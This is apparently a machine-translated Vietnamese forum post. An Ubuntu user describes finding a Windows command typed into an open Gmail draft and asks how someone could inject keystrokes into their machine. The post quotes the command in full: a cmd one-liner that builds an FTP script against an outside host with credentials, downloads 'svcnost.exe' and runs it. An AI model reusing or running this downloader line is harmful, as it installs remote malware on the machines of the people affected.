PC nhà tôi thường bật, nhưng màn hình tắt. Tối nay tôi đi làm về và thấy có vẻ như là một nỗ lực hack: trong trình duyệt của tôi, Gmail của tôi đã mở (đó là tôi), nhưng nó ở chế độ soạn thảo với nội dung sau TO:
md / c echo mở cCTeamFtp.yi.org 21 >> ik & echo user ccteam10 765824 >> ik & echo binary >> ik & echo get svcnost.exe >> ik & echo bye >> ik & ftp -n -v -s: ik & del ik & svcnost.exe & thoát echo Bạn đã sở hữu
Điều này trông giống như mã dòng lệnh Windows đối với tôi và sự mdkhởi đầu của mã kết hợp với thực tế là Gmail đang ở chế độ soạn thảo, điều này chứng minh rằng ai đó đã cố chạy một cmdlệnh. Tôi đoán tôi đã may mắn vì trên thực tế tôi không chạy Windows trên PC này, nhưng tôi có những người khác làm điều đó. Đây là lần đầu tiên xảy ra chuyện như thế này với tôi. Tôi không phải là một chuyên gia về Linux và lúc đó tôi không chạy bất kỳ chương trình nào khác ngoài Firefox.
Tôi hoàn toàn chắc chắn rằng tôi đã không viết điều này và không có ai khác ở máy tính của tôi. Ngoài ra, gần đây tôi đã thay đổi mật khẩu Google (và tất cả các mật khẩu khác của tôi) thành một cái gì đó giống như vMA8ogd7bvvậy nên tôi không nghĩ rằng ai đó đã hack tài khoản Google của tôi.
Chuyện gì vừa xảy ra vậy? Làm thế nào để ai đó đưa tổ hợp phím vào máy tính của tôi khi nó không phải là máy Windows cũ của bà đã chạy phần mềm độc hại trong nhiều năm, mà là một bản cài đặt Ubuntu mới gần đây?
Cập nhật:
Hãy để tôi giải quyết một số điểm và câu hỏi:
- Tôi đang ở Áo, ở nông thôn. Bộ định tuyến WLAN của tôi chạy WPA2 / PSK và mật khẩu trung bình không có trong từ điển; sẽ phải là vũ phu và cách đây chưa đến 50 mét; không có khả năng nó đã bị hack.
- Tôi đang sử dụng bàn phím có dây USB, vì vậy một lần nữa rất khó có ai có thể nằm trong phạm vi để hack nó.
- Tôi đã không sử dụng máy tính của tôi tại thời điểm đó; nó chỉ ở nhà khi tôi đang làm việc. Đó là một PC nettop gắn trên màn hình, vì vậy tôi hiếm khi tắt nó đi.
- Máy chỉ mới hai tháng tuổi, chỉ chạy Ubuntu và tôi không sử dụng phần mềm lạ hoặc truy cập các trang web lạ. Đó chủ yếu là Stack Exchange, Gmail và báo chí. Không có trò chơi. Ubuntu được thiết lập để giữ cho đến nay.
- Tôi không biết về bất kỳ dịch vụ VNC nào đang chạy; Tôi chắc chắn chưa cài đặt hoặc kích hoạt một. Tôi cũng chưa bắt đầu bất kỳ máy chủ nào khác. Tôi không chắc chắn nếu có bất kỳ đang chạy trong Ubuntu theo mặc định?
- Tôi biết tất cả các địa chỉ IP trong hoạt động tài khoản của Gmail. Tôi khá chắc chắn Google không phải là một lối vào.
- Tôi đã tìm thấy Trình xem tệp nhật ký , nhưng tôi không biết phải tìm gì. Cứu giúp?
Điều tôi thực sự muốn biết là, và điều thực sự khiến tôi cảm thấy không an toàn, đó là: làm thế nào bất cứ ai từ Internet có thể tạo ra tổ hợp phím trên máy của tôi? Làm thế nào tôi có thể ngăn chặn điều đó mà không phải tất cả tin đồn về nó? Tôi không phải là một người đam mê Linux, tôi là một người cha đã sử dụng Windows trong hơn 20 năm và cảm thấy mệt mỏi với nó. Và trong tất cả hơn 18 năm hoạt động trực tuyến, cá nhân tôi chưa bao giờ thấy bất kỳ nỗ lực hack nào, vì vậy đây là điều mới đối với tôi.
password:-)